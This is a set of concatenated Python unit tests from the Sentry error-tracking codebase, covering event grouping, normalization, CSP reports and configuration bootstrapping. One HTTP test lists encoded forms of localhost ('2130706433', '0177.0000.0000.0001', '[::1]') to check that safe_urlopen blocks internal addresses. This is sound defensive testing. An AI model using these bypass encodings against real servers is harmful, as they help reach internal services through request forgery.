        resp = self._postCspWithHeader(input)
        assert resp.status_code == 201, resp.content
        assert Event.objects.count() == 1
        e = Event.objects.all()[0]
        Event.objects.bind_nodes([e], 'data')
        assert output['message'] == e.data['sentry.interfaces.Message']['message']
        for key, value in six.iteritems(output['tags']):
            assert e.get_tag(key) == value
        self.assertDictContainsSubset(output['data'], e.data.data, e.data.data)

    def assertReportRejected(self, input):
        resp = self._postCspWithHeader(input)
        assert resp.status_code == 403, resp.content

    def test_chrome_blocked_asset(self):
        self.assertReportCreated(*get_fixtures('chrome_blocked_asset'))

    def test_firefox_missing_effective_uri(self):
        input, _ = get_fixtures('firefox_blocked_asset')
        self.assertReportRejected(input)






from __future__ import absolute_import






from __future__ import absolute_import

from django.conf import settings


def test_import_paths():
    for path in settings.CELERY_IMPORTS:
        try:
            __import__(path)
        except ImportError:
            raise AssertionError('Unable to import {} from CELERY_IMPORTS'.format(path))






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import, print_function

import logging
import pytest

from datetime import timedelta
from django.conf import settings
from django.utils import timezone
from mock import patch
from time import time

from sentry.app import tsdb
from sentry.constants import MAX_CULPRIT_LENGTH, DEFAULT_LOGGER_NAME
from sentry.event_manager import (
    EventManager, EventUser, get_hashes_for_event, get_hashes_from_fingerprint,
    generate_culprit, md5_from_hash
)
from sentry.models import (
    Activity, Event, Group, GroupRelease, GroupResolution, GroupStatus,
    EventMapping, Release
)
from sentry.testutils import TestCase, TransactionTestCase


class EventManagerTest(TransactionTestCase):
    def make_event(self, **kwargs):
        result = {
            'event_id': 'a' * 32,
            'message': 'foo',
            'timestamp': 1403007314.570599,
            'level': logging.ERROR,
            'logger': 'default',
            'tags': [],
        }
        result.update(kwargs)
        return result

    def test_similar_message_prefix_doesnt_group(self):
        # we had a regression which caused the default hash to just be
        # 'event.message' instead of '[event.message]' which caused it to
        # generate a hash per letter
        manager = EventManager(self.make_event(message='foo bar'))
        manager.normalize()
        event1 = manager.save(1)

        manager = EventManager(self.make_event(message='foo baz'))
        manager.normalize()
        event2 = manager.save(1)

        assert event1.group_id != event2.group_id

    @patch('sentry.signals.regression_signal.send')
    def test_broken_regression_signal(self, send):
        send.side_effect = Exception()

        manager = EventManager(self.make_event())
        event = manager.save(1)

        assert event.message == 'foo'
        assert event.project_id == 1

    @patch('sentry.event_manager.should_sample')
    def test_saves_event_mapping_when_sampled(self, should_sample):
        should_sample.return_value = True
        event_id = 'a' * 32

        manager = EventManager(self.make_event())
        event = manager.save(1)

        assert EventMapping.objects.filter(
            group_id=event.group_id,
            event_id=event_id,
        ).exists()

    def test_tags_as_list(self):
        manager = EventManager(self.make_event(tags=[('foo', 'bar')]))
        data = manager.normalize()

        assert data['tags'] == [('foo', 'bar')]

    def test_tags_as_dict(self):
        manager = EventManager(self.make_event(tags={'foo': 'bar'}))
        data = manager.normalize()

        assert data['tags'] == [('foo', 'bar')]

    def test_interface_is_relabeled(self):
        manager = EventManager(self.make_event(user={'id': '1'}))
        data = manager.normalize()

        assert data['sentry.interfaces.User'] == {'id': '1'}
        assert 'user' not in data

    def test_does_default_ip_address_to_user(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'env': {
                    'REMOTE_ADDR': '127.0.0.1',
                }
            }
        }))
        data = manager.normalize()
        assert data['sentry.interfaces.User']['ip_address'] == '127.0.0.1'

    def test_does_default_ip_address_if_present(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'env': {
                    'REMOTE_ADDR': '127.0.0.1',
                }
            },
            'sentry.interfaces.User': {
                'ip_address': '192.168.0.1',
            },
        }))
        data = manager.normalize()
        assert data['sentry.interfaces.User']['ip_address'] == '192.168.0.1'

    def test_does_not_default_invalid_ip_address(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.Http': {
                'url': 'http://example.com',
                'env': {
                    'REMOTE_ADDR': '127.0.0.1, 192.168.0.1',
                }
            }
        }))
        data = manager.normalize()
        assert 'sentry.interfaces.User' not in data

    def test_platform_is_saved(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.AppleCrashReport': {
                'crash': {},
                'binary_images': []
            }
        }))
        manager.normalize()
        event = manager.save(1)

        assert 'sentry.interfacse.AppleCrashReport' not in event.interfaces

    def test_ephemral_interfaces_removed_on_save(self):
        manager = EventManager(self.make_event(platform='python'))
        event = manager.save(1)

        group = event.group
        assert group.platform == 'python'
        assert event.platform == 'python'

    def test_dupe_message_id(self):
        event_id = 'a' * 32

        manager = EventManager(self.make_event(event_id=event_id))
        manager.save(1)

        assert Event.objects.count() == 1

        # ensure that calling it again doesn't raise a db error
        manager = EventManager(self.make_event(event_id=event_id))
        manager.save(1)

        assert Event.objects.count() == 1

    def test_updates_group(self):
        manager = EventManager(self.make_event(
            message='foo', event_id='a' * 32,
            checksum='a' * 32,
        ))
        event = manager.save(1)

        manager = EventManager(self.make_event(
            message='foo bar', event_id='b' * 32,
            checksum='a' * 32,
        ))
        with self.tasks():
            event2 = manager.save(1)

        group = Group.objects.get(id=event.group_id)

        assert group.times_seen == 2
        assert group.last_seen.replace(microsecond=0) == event.datetime.replace(microsecond=0)
        assert group.message == event2.message
        assert group.data.get('type') == 'default'
        assert group.data.get('metadata') == {
            'title': 'foo bar',
        }

    def test_updates_group_with_fingerprint(self):
        manager = EventManager(self.make_event(
            message='foo', event_id='a' * 32,
            fingerprint=['a' * 32],
        ))
        with self.tasks():
            event = manager.save(1)

        manager = EventManager(self.make_event(
            message='foo bar', event_id='b' * 32,
            fingerprint=['a' * 32],
        ))
        with self.tasks():
            event2 = manager.save(1)

        group = Group.objects.get(id=event.group_id)

        assert group.times_seen == 2
        assert group.last_seen.replace(microsecond=0) == event.datetime.replace(microsecond=0)
        assert group.message == event2.message

    def test_differentiates_with_fingerprint(self):
        manager = EventManager(self.make_event(
            message='foo', event_id='a' * 32,
            fingerprint=['{{ default }}', 'a' * 32],
        ))
        with self.tasks():
            manager.normalize()
            event = manager.save(1)

        manager = EventManager(self.make_event(
            message='foo bar', event_id='b' * 32,
            fingerprint=['a' * 32],
        ))
        with self.tasks():
            manager.normalize()
            event2 = manager.save(1)

        assert event.group_id != event2.group_id

    def test_unresolves_group(self):
        # N.B. EventManager won't unresolve the group unless the event2 has a
        # later timestamp than event1. MySQL doesn't support microseconds.
        manager = EventManager(self.make_event(
            event_id='a' * 32, checksum='a' * 32,
            timestamp=1403007314,
        ))
        with self.tasks():
            event = manager.save(1)

        group = Group.objects.get(id=event.group_id)
        group.status = GroupStatus.RESOLVED
        group.save()
        assert group.is_resolved()

        manager = EventManager(self.make_event(
            event_id='b' * 32, checksum='a' * 32,
            timestamp=1403007345,
        ))
        event2 = manager.save(1)
        assert event.group_id == event2.group_id

        group = Group.objects.get(id=group.id)
        assert not group.is_resolved()

    @patch('sentry.event_manager.plugin_is_regression')
    def test_does_not_unresolve_group(self, plugin_is_regression):
        # N.B. EventManager won't unresolve the group unless the event2 has a
        # later timestamp than event1. MySQL doesn't support microseconds.
        plugin_is_regression.return_value = False

        manager = EventManager(self.make_event(
            event_id='a' * 32, checksum='a' * 32,
            timestamp=1403007314,
        ))
        with self.tasks():
            event = manager.save(1)

        group = Group.objects.get(id=event.group_id)
        group.status = GroupStatus.RESOLVED
        group.save()
        assert group.is_resolved()

        manager = EventManager(self.make_event(
            event_id='b' * 32, checksum='a' * 32,
            timestamp=1403007315,
        ))
        event2 = manager.save(1)
        assert event.group_id == event2.group_id

        group = Group.objects.get(id=group.id)
        assert group.is_resolved()

    @patch('sentry.event_manager.plugin_is_regression')
    def test_marks_as_unresolved_only_with_new_release(self, plugin_is_regression):
        plugin_is_regression.return_value = True

        old_release = Release.objects.create(
            version='a',
            project=self.project,
            date_added=timezone.now() - timedelta(minutes=30),
        )

        manager = EventManager(self.make_event(
            event_id='a' * 32,
            checksum='a' * 32,
            timestamp=time() - 50000,  # need to work around active_at
            release=old_release.version,
        ))
        event = manager.save(1)

        group = event.group

        group.update(status=GroupStatus.RESOLVED)

        resolution = GroupResolution.objects.create(
            release=old_release,
            group=group,
        )
        activity = Activity.objects.create(
            group=group,
            project=group.project,
            type=Activity.SET_RESOLVED_IN_RELEASE,
            ident=resolution.id,
            data={'version': ''},
        )

        manager = EventManager(self.make_event(
            event_id='b' * 32,
            checksum='a' * 32,
            timestamp=time(),
            release=old_release.version,
        ))
        event = manager.save(1)
        assert event.group_id == group.id

        group = Group.objects.get(id=group.id)
        assert group.status == GroupStatus.RESOLVED

        activity = Activity.objects.get(id=activity.id)
        assert activity.data['version'] == ''

        assert GroupResolution.objects.filter(group=group).exists()

        manager = EventManager(self.make_event(
            event_id='c' * 32,
            checksum='a' * 32,
            timestamp=time(),
            release='b',
        ))
        event = manager.save(1)
        assert event.group_id == group.id

        group = Group.objects.get(id=group.id)
        assert group.status == GroupStatus.UNRESOLVED

        activity = Activity.objects.get(id=activity.id)
        assert activity.data['version'] == 'b'

        assert not GroupResolution.objects.filter(group=group).exists()

        assert Activity.objects.filter(
            group=group,
            type=Activity.SET_REGRESSION,
        ).exists()

    @patch('sentry.models.Group.is_resolved')
    def test_unresolves_group_with_auto_resolve(self, mock_is_resolved):
        mock_is_resolved.return_value = False
        manager = EventManager(self.make_event(
            event_id='a' * 32, checksum='a' * 32,
            timestamp=1403007314,
        ))
        with self.tasks():
            event = manager.save(1)

        mock_is_resolved.return_value = True
        manager = EventManager(self.make_event(
            event_id='b' * 32, checksum='a' * 32,
            timestamp=1403007414,
        ))
        with self.tasks():
            event2 = manager.save(1)
        assert event.group_id == event2.group_id

        group = Group.objects.get(id=event.group.id)
        assert group.active_at == event2.datetime != event.datetime

    def test_long_culprit(self):
        manager = EventManager(self.make_event(
            culprit='x' * (MAX_CULPRIT_LENGTH + 1),
        ))
        data = manager.normalize()
        assert len(data['culprit']) == MAX_CULPRIT_LENGTH

    def test_long_message(self):
        manager = EventManager(self.make_event(
            message='x' * (settings.SENTRY_MAX_MESSAGE_LENGTH + 1),
        ))
        data = manager.normalize()
        assert len(data['sentry.interfaces.Message']['message']) == \
            settings.SENTRY_MAX_MESSAGE_LENGTH

    def test_default_version(self):
        manager = EventManager(self.make_event())
        data = manager.normalize()
        assert data['version'] == '5'

    def test_explicit_version(self):
        manager = EventManager(self.make_event(), '6')
        data = manager.normalize()
        assert data['version'] == '6'

    def test_first_release(self):
        manager = EventManager(self.make_event(release='1.0'))
        event = manager.save(1)

        group = event.group
        assert group.first_release.version == '1.0'

        manager = EventManager(self.make_event(release='2.0'))
        event = manager.save(1)

        group = event.group
        assert group.first_release.version == '1.0'

    def test_group_release_no_env(self):
        manager = EventManager(self.make_event(release='1.0'))
        event = manager.save(1)

        release = Release.objects.get(version='1.0', project=event.project_id)

        assert GroupRelease.objects.filter(
            release_id=release.id,
            group_id=event.group_id,
            environment='',
        ).exists()

        # ensure we're not erroring on second creation
        manager = EventManager(self.make_event(release='1.0'))
        manager.save(1)

    def test_group_release_with_env(self):
        manager = EventManager(self.make_event(
            release='1.0', environment='prod',
            event_id='a' * 32))
        event = manager.save(1)

        release = Release.objects.get(version='1.0', project=event.project_id)

        assert GroupRelease.objects.filter(
            release_id=release.id,
            group_id=event.group_id,
            environment='prod',
        ).exists()

        manager = EventManager(self.make_event(
            release='1.0', environment='staging',
            event_id='b' * 32))
        event = manager.save(1)

        release = Release.objects.get(version='1.0', project=event.project_id)

        assert GroupRelease.objects.filter(
            release_id=release.id,
            group_id=event.group_id,
            environment='staging',
        ).exists()

    def test_bad_logger(self):
        manager = EventManager(self.make_event(logger='foo bar'))
        data = manager.normalize()
        assert data['logger'] == DEFAULT_LOGGER_NAME

    @pytest.mark.xfail
    def test_record_frequencies(self):
        project = self.project
        manager = EventManager(self.make_event())
        event = manager.save(project)

        assert tsdb.get_most_frequent(
            tsdb.models.frequent_issues_by_project,
            (event.project.id,),
            event.datetime,
        ) == {
            event.project.id: [
                (event.group_id, 1.0),
            ],
        }

        assert tsdb.get_most_frequent(
            tsdb.models.frequent_projects_by_organization,
            (event.project.organization_id,),
            event.datetime,
        ) == {
            event.project.organization_id: [
                (event.project_id, 1.0),
            ],
        }

    def test_event_user(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.User': {
                'id': '1',
            }
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert tsdb.get_distinct_counts_totals(
            tsdb.models.users_affected_by_group,
            (event.group.id,),
            event.datetime,
            event.datetime,
        ) == {
            event.group.id: 1,
        }

        assert tsdb.get_distinct_counts_totals(
            tsdb.models.users_affected_by_project,
            (event.project.id,),
            event.datetime,
            event.datetime,
        ) == {
            event.project.id: 1,
        }

        assert EventUser.objects.filter(
            project=self.project,
            ident='1',
        ).exists()
        assert 'sentry:user' in dict(event.tags)

        # ensure event user is mapped to tags in second attempt
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.User': {
                'id': '1',
            }
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert EventUser.objects.filter(
            project=self.project,
            ident='1',
        ).exists()
        assert 'sentry:user' in dict(event.tags)

    def test_event_user_unicode_identifier(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.User': {
                'username': u'foô'
            }
        }))
        manager.normalize()
        manager.save(self.project.id)
        euser = EventUser.objects.get(
            project=self.project,
        )
        assert euser.username == u'foô'

    def test_environment(self):
        manager = EventManager(self.make_event(**{
            'environment': 'beta',
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert dict(event.tags).get('environment') == 'beta'

    def test_default_fingerprint(self):
        manager = EventManager(self.make_event())
        manager.normalize()
        event = manager.save(self.project.id)

        assert event.data.get('fingerprint') == ['{{ default }}']

    def test_default_event_type(self):
        manager = EventManager(self.make_event(message='foo bar'))
        data = manager.normalize()
        assert data['type'] == 'default'
        event = manager.save(self.project.id)
        group = event.group
        assert group.data.get('type') == 'default'
        assert group.data.get('metadata') == {
            'title': 'foo bar',
        }

    def test_message_event_type(self):
        manager = EventManager(self.make_event(**{
            'message': '',
            'sentry.interfaces.Message': {
                'formatted': 'foo bar',
                'message': 'foo %s',
                'params': ['bar'],
            }
        }))
        data = manager.normalize()
        assert data['type'] == 'default'
        event = manager.save(self.project.id)
        group = event.group
        assert group.data.get('type') == 'default'
        assert group.data.get('metadata') == {
            'title': 'foo bar',
        }

    def test_error_event_type(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.Exception': {
                'values': [{
                    'type': 'Foo',
                    'value': 'bar',
                }],
            },
        }))
        data = manager.normalize()
        assert data['type'] == 'error'
        event = manager.save(self.project.id)
        group = event.group
        assert group.data.get('type') == 'error'
        assert group.data.get('metadata') == {
            'type': 'Foo',
            'value': 'bar',
        }

    def test_csp_event_type(self):
        manager = EventManager(self.make_event(**{
            'sentry.interfaces.Csp': {
                'effective_directive': 'script-src',
                'blocked_uri': 'http://example.com',
            },
        }))
        data = manager.normalize()
        assert data['type'] == 'csp'
        event = manager.save(self.project.id)
        group = event.group
        assert group.data.get('type') == 'csp'
        assert group.data.get('metadata') == {
            'directive': 'script-src',
            'uri': 'example.com',
            'message': "Blocked 'script' from 'example.com'",
        }

    def test_sdk(self):
        manager = EventManager(self.make_event(**{
            'sdk': {
                'name': 'sentry-unity',
                'version': '1.0',
            },
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert event.data['sdk'] == {
            'name': 'sentry-unity',
            'version': '1.0',
        }

    def test_no_message(self):
        # test that the message is handled gracefully
        manager = EventManager(self.make_event(**{
            'message': None,
            'sentry.interfaces.Message': {
                'message': 'hello world',
            },
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert event.message == 'hello world'

    def test_bad_message(self):
        # test that the message is handled gracefully
        manager = EventManager(self.make_event(**{
            'message': 1234,
        }))
        manager.normalize()
        event = manager.save(self.project.id)

        assert event.message == '1234'
        assert event.data['sentry.interfaces.Message'] == {
            'message': '1234',
        }

    def test_message_attribute_goes_to_interface(self):
        manager = EventManager(self.make_event(**{
            'message': 'hello world',
        }))
        manager.normalize()
        event = manager.save(self.project.id)
        assert event.data['sentry.interfaces.Message'] == {
            'message': 'hello world',
        }

    def test_message_attribute_goes_to_formatted(self):
        manager = EventManager(self.make_event(**{
            'message': 'world hello',
            'sentry.interfaces.Message': {
                'message': 'hello world',
            },
        }))
        manager.normalize()
        event = manager.save(self.project.id)
        assert event.data['sentry.interfaces.Message'] == {
            'message': 'hello world',
            'formatted': 'world hello',
        }


class GetHashesFromEventTest(TestCase):
    @patch('sentry.interfaces.stacktrace.Stacktrace.compute_hashes')
    @patch('sentry.interfaces.http.Http.compute_hashes')
    def test_stacktrace_wins_over_http(self, http_comp_hash, stack_comp_hash):
        # this was a regression, and a very important one
        http_comp_hash.return_value = [['baz']]
        stack_comp_hash.return_value = [['foo', 'bar']]
        event = Event(
            data={
                'sentry.interfaces.Stacktrace': {
                    'frames': [{
                        'lineno': 1,
                        'filename': 'foo.py',
                    }],
                },
                'sentry.interfaces.Http': {
                    'url': 'http://example.com'
                },
            },
            platform='python',
            message='Foo bar',
        )
        hashes = get_hashes_for_event(event)
        assert len(hashes) == 1
        hash_one = hashes[0]
        stack_comp_hash.assert_called_once_with('python')
        assert not http_comp_hash.called
        assert hash_one == ['foo', 'bar']


class GetHashesFromFingerprintTest(TestCase):
    def test_default_value(self):
        event = Event(
            data={
                'sentry.interfaces.Stacktrace': {
                    'frames': [{
                        'lineno': 1,
                        'filename': 'foo.py',
                    }, {
                        'lineno': 1,
                        'filename': 'foo.py',
                        'in_app': True,
                    }],
                },
                'sentry.interfaces.Http': {
                    'url': 'http://example.com'
                },
            },
            platform='python',
            message='Foo bar',
        )
        fp_checksums = get_hashes_from_fingerprint(event, ["{{default}}"])
        def_checksums = get_hashes_for_event(event)
        assert def_checksums == fp_checksums

    def test_custom_values(self):
        event = Event(
            data={
                'sentry.interfaces.Stacktrace': {
                    'frames': [{
                        'lineno': 1,
                        'filename': 'foo.py',
                    }, {
                        'lineno': 1,
                        'filename': 'foo.py',
                        'in_app': True,
                    }],
                },
                'sentry.interfaces.Http': {
                    'url': 'http://example.com'
                },
            },
            platform='python',
            message='Foo bar',
        )
        fp_checksums = get_hashes_from_fingerprint(event, ["{{default}}", "custom"])
        def_checksums = get_hashes_for_event(event)
        assert len(fp_checksums) == len(def_checksums)
        assert def_checksums != fp_checksums


class GenerateCulpritTest(TestCase):
    def test_with_exception_interface(self):
        data = {
            'sentry.interfaces.Exception': {
                'values': [{
                    'stacktrace': {
                        'frames': [{
                            'lineno': 1,
                            'filename': 'foo.py',
                        }, {
                            'lineno': 1,
                            'filename': 'bar.py',
                            'in_app': True,
                        }],
                    }
                }]
            },
            'sentry.interfaces.Stacktrace': {
                'frames': [{
                    'lineno': 1,
                    'filename': 'NOTME.py',
                }, {
                    'lineno': 1,
                    'filename': 'PLZNOTME.py',
                    'in_app': True,
                }],
            },
            'sentry.interfaces.Http': {
                'url': 'http://example.com'
            },
        }
        assert generate_culprit(data) == 'bar.py in ?'

    def test_with_missing_exception_interface(self):
        data = {
            'sentry.interfaces.Stacktrace': {
                'frames': [{
                    'lineno': 1,
                    'filename': 'NOTME.py',
                }, {
                    'lineno': 1,
                    'filename': 'PLZNOTME.py',
                    'in_app': True,
                }],
            },
            'sentry.interfaces.Http': {
                'url': 'http://example.com'
            },
        }
        assert generate_culprit(data) == 'PLZNOTME.py in ?'

    def test_with_only_http_interface(self):
        data = {
            'sentry.interfaces.Http': {
                'url': 'http://example.com'
            },
        }
        assert generate_culprit(data) == 'http://example.com'

        data = {
            'sentry.interfaces.Http': {},
        }
        assert generate_culprit(data) == ''

    def test_empty_data(self):
        assert generate_culprit({}) == ''

    def test_truncation(self):
        data = {
            'sentry.interfaces.Exception': {
                'values': [{
                    'stacktrace': {
                        'frames': [{
                            'filename': 'x' * (MAX_CULPRIT_LENGTH + 1),
                        }],
                    }
                }],
            }
        }
        assert len(generate_culprit(data)) == MAX_CULPRIT_LENGTH

        data = {
            'sentry.interfaces.Stacktrace': {
                'frames': [{
                    'filename': 'x' * (MAX_CULPRIT_LENGTH + 1),
                }]
            }
        }
        assert len(generate_culprit(data)) == MAX_CULPRIT_LENGTH

        data = {
            'sentry.interfaces.Http': {
                'url': 'x' * (MAX_CULPRIT_LENGTH + 1),
            }
        }
        assert len(generate_culprit(data)) == MAX_CULPRIT_LENGTH

    def test_md5_from_hash(self):
        result = md5_from_hash(['foo', 'bar', u'foô'])
        assert result == '6d81588029ed4190110b2779ba952a00'






from __future__ import absolute_import

import ipaddress
import platform
import responses
import pytest

from django.core.exceptions import SuspiciousOperation
from mock import patch

from sentry import http
from sentry.testutils import TestCase


class HttpTest(TestCase):
    @responses.activate
    @patch('socket.getaddrinfo')
    def test_simple(self, mock_getaddrinfo):
        mock_getaddrinfo.return_value = [(2, 1, 6, '', ('81.0.0.1', 0))]
        responses.add(responses.GET, 'http://example.com', body='foo bar')

        resp = http.safe_urlopen('http://example.com')
        data = http.safe_urlread(resp)
        assert data.decode('utf-8') == 'foo bar'

        request = responses.calls[0].request
        assert 'User-Agent' in request.headers
        assert 'gzip' in request.headers.get('Accept-Encoding', '')

    # XXX(dcramer): we can't use responses here as it hooks Session.send
    # @responses.activate
    def test_ip_blacklist(self):
        http.DISALLOWED_IPS = set([
            ipaddress.ip_network(u'127.0.0.1'),
            ipaddress.ip_network(u'::1'),
            ipaddress.ip_network(u'10.0.0.0/8'),
        ])
        with pytest.raises(SuspiciousOperation):
            http.safe_urlopen('http://127.0.0.1')
        with pytest.raises(SuspiciousOperation):
            http.safe_urlopen('http://10.0.0.10')
        with pytest.raises(SuspiciousOperation):
            # '2130706433' is dword for '127.0.0.1'
            http.safe_urlopen('http://2130706433')
        with pytest.raises(SuspiciousOperation):
            # ipv6
            http.safe_urlopen('http://[::1]')

    @pytest.mark.skipif(platform.system() == 'Darwin',
                        reason='macOS is always broken, see comment in sentry/http.py')
    def test_garbage_ip(self):
        http.DISALLOWED_IPS = set([ipaddress.ip_network(u'127.0.0.1')])
        with pytest.raises(SuspiciousOperation):
            # '0177.0000.0000.0001' is an octal for '127.0.0.1'
            http.safe_urlopen('http://0177.0000.0000.0001')






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import

import pytest
import logging
import mock

from sentry.logging.handlers import StructLogHandler


@pytest.fixture
def handler():
    return StructLogHandler()


@pytest.fixture
def logger():
    return mock.MagicMock()


def make_logrecord(**extra):
    kwargs = dict(
        name='name',
        level=logging.INFO,
        pathname='pathname',
        lineno=10,
        msg='msg',
        args=None,
        exc_info=None,
    )
    kwargs.update(extra or {})
    return logging.LogRecord(**kwargs)


@pytest.mark.parametrize('record,out', (
    ({}, {}),
    ({'msg': '%s', 'args': (1,)}, {'event': '%s', 'positional_args': (1,)}),
    ({'args': ({'a': 1},)}, {'positional_args': ({'a': 1},)}),
    ({'exc_info': True}, {'exc_info': True}),
))
def test_emit(record, out, handler, logger):
    record = make_logrecord(**record)
    handler.emit(record, logger=logger)
    expected = dict(level=logging.INFO, event='msg', name='name')
    expected.update(out)
    logger.log.assert_called_once_with(**expected)






from __future__ import absolute_import

import pytest
import six

from sentry.runner.importer import ConfigurationError
from sentry.runner.initializer import bootstrap_options, apply_legacy_settings


@pytest.fixture
def settings():
    class Settings(object):
        pass

    s = Settings()
    s.TIME_ZONE = 'UTC'
    s.ALLOWED_HOSTS = []
    s.SENTRY_FEATURES = {}
    s.SENTRY_OPTIONS = {}
    s.SENTRY_DEFAULT_OPTIONS = {}
    s.SENTRY_EMAIL_BACKEND_ALIASES = {'dummy': 'alias-for-dummy'}
    return s


@pytest.fixture
def config_yml(tmpdir):
    return tmpdir.join('config.yml')


def test_bootstrap_options_simple(settings, config_yml):
    "Config options are specified in both places, but config.yml should prevail"
    settings.SECRET_KEY = 'xxx'
    settings.EMAIL_BACKEND = 'xxx'
    settings.EMAIL_HOST = 'xxx'
    settings.EMAIL_PORT = 6969
    settings.EMAIL_HOST_USER = 'xxx'
    settings.EMAIL_HOST_PASSWORD = 'xxx'
    settings.EMAIL_USE_TLS = False
    settings.SERVER_EMAIL = 'xxx'
    settings.EMAIL_SUBJECT_PREFIX = 'xxx'
    settings.SENTRY_OPTIONS = {'something.else': True}

    config_yml.write("""\
foo.bar: my-foo-bar
system.secret-key: my-system-secret-key
mail.backend: my-mail-backend
mail.host: my-mail-host
mail.port: 123
mail.username: my-mail-username
mail.password: my-mail-password
mail.use-tls: true
mail.from: my-mail-from
mail.subject-prefix: my-mail-subject-prefix
""")

    bootstrap_options(settings, six.text_type(config_yml))
    assert settings.SENTRY_OPTIONS == {
        'something.else': True,
        'foo.bar': 'my-foo-bar',
        'system.secret-key': 'my-system-secret-key',
        'mail.backend': 'my-mail-backend',
        'mail.host': 'my-mail-host',
        'mail.port': 123,
        'mail.username': 'my-mail-username',
        'mail.password': 'my-mail-password',
        'mail.use-tls': True,
        'mail.from': 'my-mail-from',
        'mail.subject-prefix': 'my-mail-subject-prefix',
    }
    assert settings.SECRET_KEY == 'my-system-secret-key'
    assert settings.EMAIL_BACKEND == 'my-mail-backend'
    assert settings.EMAIL_HOST == 'my-mail-host'
    assert settings.EMAIL_PORT == 123
    assert settings.EMAIL_HOST_USER == 'my-mail-username'
    assert settings.EMAIL_HOST_PASSWORD == 'my-mail-password'
    assert settings.EMAIL_USE_TLS is True
    assert settings.SERVER_EMAIL == 'my-mail-from'
    assert settings.EMAIL_SUBJECT_PREFIX == 'my-mail-subject-prefix'


def test_bootstrap_options_malformed_yml(settings, config_yml):
    config_yml.write('1')
    with pytest.raises(ConfigurationError):
        bootstrap_options(settings, six.text_type(config_yml))

    config_yml.write('{{{')
    with pytest.raises(ConfigurationError):
        bootstrap_options(settings, six.text_type(config_yml))


def test_bootstrap_options_no_config(settings):
    "No config file should gracefully extract values out of settings"
    settings.SECRET_KEY = 'my-system-secret-key'
    settings.EMAIL_BACKEND = 'my-mail-backend'
    settings.EMAIL_HOST = 'my-mail-host'
    settings.EMAIL_PORT = 123
    settings.EMAIL_HOST_USER = 'my-mail-username'
    settings.EMAIL_HOST_PASSWORD = 'my-mail-password'
    settings.EMAIL_USE_TLS = True
    settings.SERVER_EMAIL = 'my-mail-from'
    settings.EMAIL_SUBJECT_PREFIX = 'my-mail-subject-prefix'
    settings.FOO_BAR = 'lol'

    bootstrap_options(settings)
    assert settings.SENTRY_OPTIONS == {
        'system.secret-key': 'my-system-secret-key',
        'mail.backend': 'my-mail-backend',
        'mail.host': 'my-mail-host',
        'mail.port': 123,
        'mail.username': 'my-mail-username',
        'mail.password': 'my-mail-password',
        'mail.use-tls': True,
        'mail.from': 'my-mail-from',
        'mail.subject-prefix': 'my-mail-subject-prefix',
    }


def test_bootstrap_options_no_config_only_sentry_options(settings):
    "SENTRY_OPTIONS is only declared, but should be promoted into settings"
    settings.SENTRY_OPTIONS = {
        'system.secret-key': 'my-system-secret-key',
        'mail.backend': 'my-mail-backend',
        'mail.host': 'my-mail-host',
        'mail.port': 123,
        'mail.username': 'my-mail-username',
        'mail.password': 'my-mail-password',
        'mail.use-tls': True,
        'mail.from': 'my-mail-from',
        'mail.subject-prefix': 'my-mail-subject-prefix',
    }

    bootstrap_options(settings)
    assert settings.SECRET_KEY == 'my-system-secret-key'
    assert settings.EMAIL_BACKEND == 'my-mail-backend'
    assert settings.EMAIL_HOST == 'my-mail-host'
    assert settings.EMAIL_PORT == 123
    assert settings.EMAIL_HOST_USER == 'my-mail-username'
    assert settings.EMAIL_HOST_PASSWORD == 'my-mail-password'
    assert settings.EMAIL_USE_TLS is True
    assert settings.SERVER_EMAIL == 'my-mail-from'
    assert settings.EMAIL_SUBJECT_PREFIX == 'my-mail-subject-prefix'


def test_bootstrap_options_mail_aliases(settings):
    settings.SENTRY_OPTIONS = {
        'mail.backend': 'dummy',
    }
    bootstrap_options(settings)
    assert settings.EMAIL_BACKEND == 'alias-for-dummy'


def test_bootstrap_options_missing_file(settings):
    bootstrap_options(settings, 'this-file-does-not-exist-xxxxxxxxxxxxxx.yml')
    assert settings.SENTRY_OPTIONS == {}


def test_bootstrap_options_empty_file(settings, config_yml):
    config_yml.write('')
    bootstrap_options(settings, six.text_type(config_yml))
    assert settings.SENTRY_OPTIONS == {}


def test_apply_legacy_settings(settings):
    settings.ALLOWED_HOSTS = []
    settings.SENTRY_USE_QUEUE = True
    settings.SENTRY_ALLOW_REGISTRATION = True
    settings.SENTRY_ADMIN_EMAIL = 'admin-email'
    settings.SENTRY_URL_PREFIX = 'http://url-prefix'
    settings.SENTRY_SYSTEM_MAX_EVENTS_PER_MINUTE = 10
    settings.SENTRY_REDIS_OPTIONS = {'foo': 'bar'}
    settings.SENTRY_ENABLE_EMAIL_REPLIES = True
    settings.SENTRY_SMTP_HOSTNAME = 'reply-hostname'
    settings.MAILGUN_API_KEY = 'mailgun-api-key'
    settings.SENTRY_OPTIONS = {
        'system.secret-key': 'secret-key',
        'mail.from': 'mail-from',
    }
    apply_legacy_settings(settings)
    assert settings.CELERY_ALWAYS_EAGER is False
    assert settings.SENTRY_FEATURES['auth:register'] is True
    assert settings.SENTRY_OPTIONS == {
        'system.admin-email': 'admin-email',
        'system.url-prefix': 'http://url-prefix',
        'system.rate-limit': 10,
        'system.secret-key': 'secret-key',
        'redis.clusters': {'default': {'foo': 'bar'}},
        'mail.from': 'mail-from',
        'mail.enable-replies': True,
        'mail.reply-hostname': 'reply-hostname',
        'mail.mailgun-api-key': 'mailgun-api-key',
    }
    assert settings.DEFAULT_FROM_EMAIL == 'mail-from'
    assert settings.ALLOWED_HOSTS == ['*']


def test_initialize_app(settings):
    "Just a sanity check of the full initialization process"
